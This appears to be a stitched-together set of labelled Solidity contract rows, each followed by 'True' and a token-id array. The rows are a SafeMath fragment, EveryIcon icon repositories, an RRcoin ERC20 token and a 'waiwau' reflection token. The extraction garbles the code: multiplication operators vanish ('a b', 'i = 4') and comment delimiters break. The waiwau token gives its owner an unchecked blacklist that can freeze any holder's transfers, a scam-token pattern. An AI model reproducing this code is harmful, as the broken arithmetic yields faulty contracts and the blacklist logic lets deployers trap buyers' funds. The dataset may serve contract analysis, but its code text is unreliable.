b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8860, 1013, 1041, 11514, 2581, 12521, 11368, 4017, 5521, 3736, 7542, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8860, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 2310, 15683, 22911, 14014, 2003, 3229, 8663, 13181, 2140, 1010, 1041, 11514, 2581, 12521, 11368, 4017, 5521, 3736, 7542, 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// SPDX-License-Identifier: UNLICENSED // Copyright (c) 2021 John F Simon Jr // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; // GENERATED CODE: DO NOT EDIT import "./IEveryIconRepository.sol"; contract EveryIconRepository0 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i = 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = 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} contract EveryIconRepository1 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i = 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = [19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,19979811476242794509259443836993614914710195886498444653415885421187120770092,115792089223864198890768380591662894438186821256699964762086895162636833398801,65133049806018942380223331844641057808121140657636963138901203749057301839633,61966859865936077661610062723949154798705639141405999715782976644424138751985,61740925160193231997394006321195138821237986595961390476328565530492856696831,59258304496795925893472372333398290094604860555782568707998911455683032605539,1362259878137828181686879829054336167969868222962286688270119451726467785571,1362259878137828181686879829054336167969868222962286688270119451726467785571,1362259878137828181686879829054336167969868222962286688270119451726467785571,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,88546891773518494850802625203745168419442410046991533776073323121317790335939,96757552338148593647077274121822626729813036578126139319299232476909858886962,96757110633241222454304254532781198104642057877719357328231644524971734389397,77044874875493350729154060275334998516855169142227206964750387722314920924404,82707585220350790241264647625471055497499704655970160207265755193349896904511,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,38597363088092047361456891603833756204644522316123744990387659934379341949610,104894010247736438423203403463604903237741586013289676541222668383287195726835,103084731140052571123887624834109786334600773540576237427408053128757173810163,104894010241915766117649320094351277401863603237125493999608242368427585692643,104894010247736438424866521736358387676046430114980963969639367037228409943027,54497059636699725480975186465163311506620929174016561062715047988794074072070,54497059622744919430747998345245069450804879553175924692007321017167838713868,7251168135284141926224957092858318931688124728482815329624708693921846017567,14502446674820955700738918226384032871538529429059579130193950420049575444287,5455997425036482982526989059027052922269248762021556889585777925311466308403,44213591495777020634963408490920910425566321941979600642170215232858476766460,13660905850524317472240786831406629854724845916292574263340998363908990302388,42771733527217639556713506517902800469066387193365070312004200063490452455678,107657532346763898014387095134561774864727691579852011257847619951719497512192,9710757111049538595057616879824848069286947698809273008233377251851302920,86957918476172166089369366501432681584442582059855310916508563777921696661514,39238139754400516385416505121996019586908576120761349232245730462954915299712,196159335763236906621037967075632107089578566727682228512,4086945882131706632066104928255163691538382649480221747962765743213022019872,4070823402661845246948519476531083035619289743250302513055142782424133402656,3618503652226922990218939072540673538816258990917759750464374451619183460352,392318765018334049167567481937734318595471734702623232520,7351975085368360720976713382968565440515136959691490402801040137601488519176,7689322094258585147301669970377220903722011766472435126749322623606333636744,7689322094258585147301669970377220903720682526428708261031294462451507003392,353893661600311303353481778003652202710016,7308949384587210431541411576893069277187829610258005810967779580766576640,1809030538871166000292804666314881151345889875430906606109898055123847864320,1752491432587633118249603332425985824375990290372595748700981262815749734400,842495119570449812674303631926738350701514178466096995791125087216,1823276174691811136304304688199463387333045121485347312223298360326530040336,2044232133109466425098367021898848084458134513894739985047828277839522758672,1866674355732128710350789850815825463846844498021698209041613446875761868800,1809250532036021471976839165369057812762916841780264204910705789332001292424,4070819304766410752343671826418315583424383057457686365995585651055395864712,4070819304749953296338873261778687714430126689690523813537739726574292303880,3618503005188202827953142456502926941971892777926511275477284830802931089392,13693064755374910078648020375119595277942976499110355173989097505231470656,1869560579797240615283676677813965822912909080521703132511938900908361139264,1929868039375496561658281574538542471316426870720527970230949037575919387712,1929868039375496561658281574538542471316249643025328733858110741509216141184,19267255254594159914250240,28159125101461807477910964021323522115155898522592888920031658626286388992,1263778773824165141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} contract EveryIconRepository2 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i = 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = [43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,43592315949751976316353231991106360218151466789133828780105929933466416580102,57214914681968002442963354496843431809352634497041095703009763514336380437443,69475253532557266118335842823375444819012492027125663257762788997488833980391,104894010246468561029662102868144054614283299068867256288516444258802914138521,88546891773518494853387314153919766727694703331676340777842480275904735903358,115791647552484024376361920162853417074203584676859217708688926001023740342392,88541980988860797304599605367070443547075799546525434196038791514889127519111,102122189816274694572520322557229989732549995376324561795598506236801888224195,13595995332522760245399896879342373116577558031153202553577120638980017618943,115522198171815305913786908624189602676545053907966189966194185020173075651708,104255013389963583313331530091131871752788729232247222634084563248643574987900,113638256050812975638391535583440141901258048624931875267824426169747306772961,74166040615257582528281741134526743454586580680756609224235951548395345405948,70670403690123155152088259607930043546268599694953709554881945946749315184655,45121685541244515780348011211832815878466212834906118709406365118543865968655,45121685541244515778963012425448642913710838932261827100187096923314658871280,70670403696071679644607972583239264939484064798741842711277403789921790064655,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,26146600786562716792939725593501607986782692013984681381630492948165735556169,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327794015974167044064966631,108779528045886577786551892388622151779971744905172327793720826261967791355895,113982839566755616623021905749062226515960084092551651361684796503330777923064,6581604419174679694961097669507570307526784208576927332779740364800,56989648582797344090647114984009579507082972518085815048025868057871470493176,7122146284914910319030360239445024118200068082986360527541037933294943993919,12714425486361932256449751730422201325273231938977592447913769651198185032137,87638718517514773999920199406780930186746622798133531915537782529429690162332,12714425486361932256449751730422201325273231938977592447913769651198185032137,87638718517514773999920199406780930186746622798133531915537782529429690162332,88291285597069516383529425576516259170567198199568959607711132755370585003583,46270004374978291483772491651152943121972562795826623594944994307877579698947,87263402826830077323002548760657403350885796018601768111329726821571230028390,114176053195862429272091348905400187222489060367649900290633892228245768424643,87238570742529840027661768698902550132795213348481917131097701272993990166240,60665629197736034523966863289834244192415801920949626677261873877143780335363,54673729770892775457953717094649167696369520176834442974721792746727753630658,14374898818314935396520842068156332798221246675403311188381555685058966255856,86844066870697259874075121370584658415881495160582220383785565900311286088187,101207677636497499158693167819159858497160344872243576306830996979052864978939,86834128352586962544252299740160476116627528249839616999771169413665761887805,86733666536081962147904916907775196902328451214026311627448379056818495684603,25379861184589584860853685100581279262460700516593701790196424264903616101824,3180109037870150680242722182502717122332924388383942466467857075549620961276,340988057548334570268363380505140537496844797666609370979665201795568240639,101417076725519946868650257688098312165800894558461277400324349839954344378495,101325035257819449237527755611577111995958473492402161055006483237745362669086,12678557997310596095347949832525396640115979399041527877626884758687439679999,102270050433024343535831831761302312527063310630529972562808018814359428219,90011970118550371142262537548663753242193006226783502351368200611410469128140,43428224316144995313459728544271536367457532926713487694139059234736577198108,21753808212293008252856315906752621996317444334547890389386709978243540195342,5597537522142645315765037702627125835353547166955668274904716828506478108673,877129166889934927140201579552994751157938029405114782640795243541406161926,74491985679132216954267415882929993700017527184882491489070168852610591012478,115460542795782942521094223452639706865996911821517947425551010292919714596174,85158738444221350186985801436874312592513913604083676309625175040833601544881,23765982548789140178179924081376949910707845250469235990130469641874441707064,7286688180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} contract EveryIconRepository3 is IEveryIconRepository { function icon(uint256 i) external view returns (uint256[4] memory icon_) { require(i < 32, "Invalid icon index"); i = 4; for (uint j = 0; j < 4; j++) { icon_[j] = icons[i+j]; } } uint256[128] private icons = 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} // SPDX-License-Identifier: UNLICENCED // Copyright 2021; All rights reserved // @title: Every Icon Contract (Repository Interface) // Author: @divergenceharri (@divergence_art) /// This file is the interface for the icon repository pragma solidity >=0.8.9 <0.9.0; interface IEveryIconRepository { function icon(uint256) external view returns (uint256[4] memory); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 9385, 1006, 1039, 1007, 25682, 2198, 1042, 4079, 3781, 1013, 1013, 2035, 2916, 9235, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 1013, 1013, 7013, 3642, 1024, 2079, 2025, 10086, 12324, 1000, 1012, 1013, 29464, 27900, 28524, 2890, 6873, 28307, 2100, 1012, 14017, 1000, 1025, 3206, 2296, 28524, 2890, 6873, 28307, 2100, 2692, 2003, 29464, 27900, 28524, 2890, 6873, 28307, 2100, 1063, 3853, 12696, 1006, 21318, 3372, 17788, 2575, 1045, 1007, 6327, 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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'RR' 'RRcoin Token' token contract // // Symbol : RR // Name : RRcoin Token // Total supply: 3,000,000.000000000000000000 // Decimals : 18 // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract RRcoinToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function RRcoinToken() public { symbol = "RR"; name = "RRcoin"; decimals = 18; _totalSupply = 3000000 * 10**uint(decimals); balances[0x6801c3f0BdCA16E0B3206b8c804e94F5d01cA835] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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/** * * * * SPDX-License-Identifier: UNLICENSED * / pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract waiwau is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"waiwau"; string private constant _symbol = unicode"WIWU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to] \|\| _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 4); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 2); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }	True	[ 101, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 